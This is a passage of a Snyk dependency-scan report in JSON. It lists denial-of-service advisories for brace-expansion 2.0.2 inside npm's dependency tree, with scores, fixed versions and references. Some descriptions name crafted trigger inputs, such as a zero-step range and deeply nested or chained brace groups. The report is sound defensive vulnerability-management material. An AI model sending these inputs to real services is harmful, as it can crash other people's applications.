"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
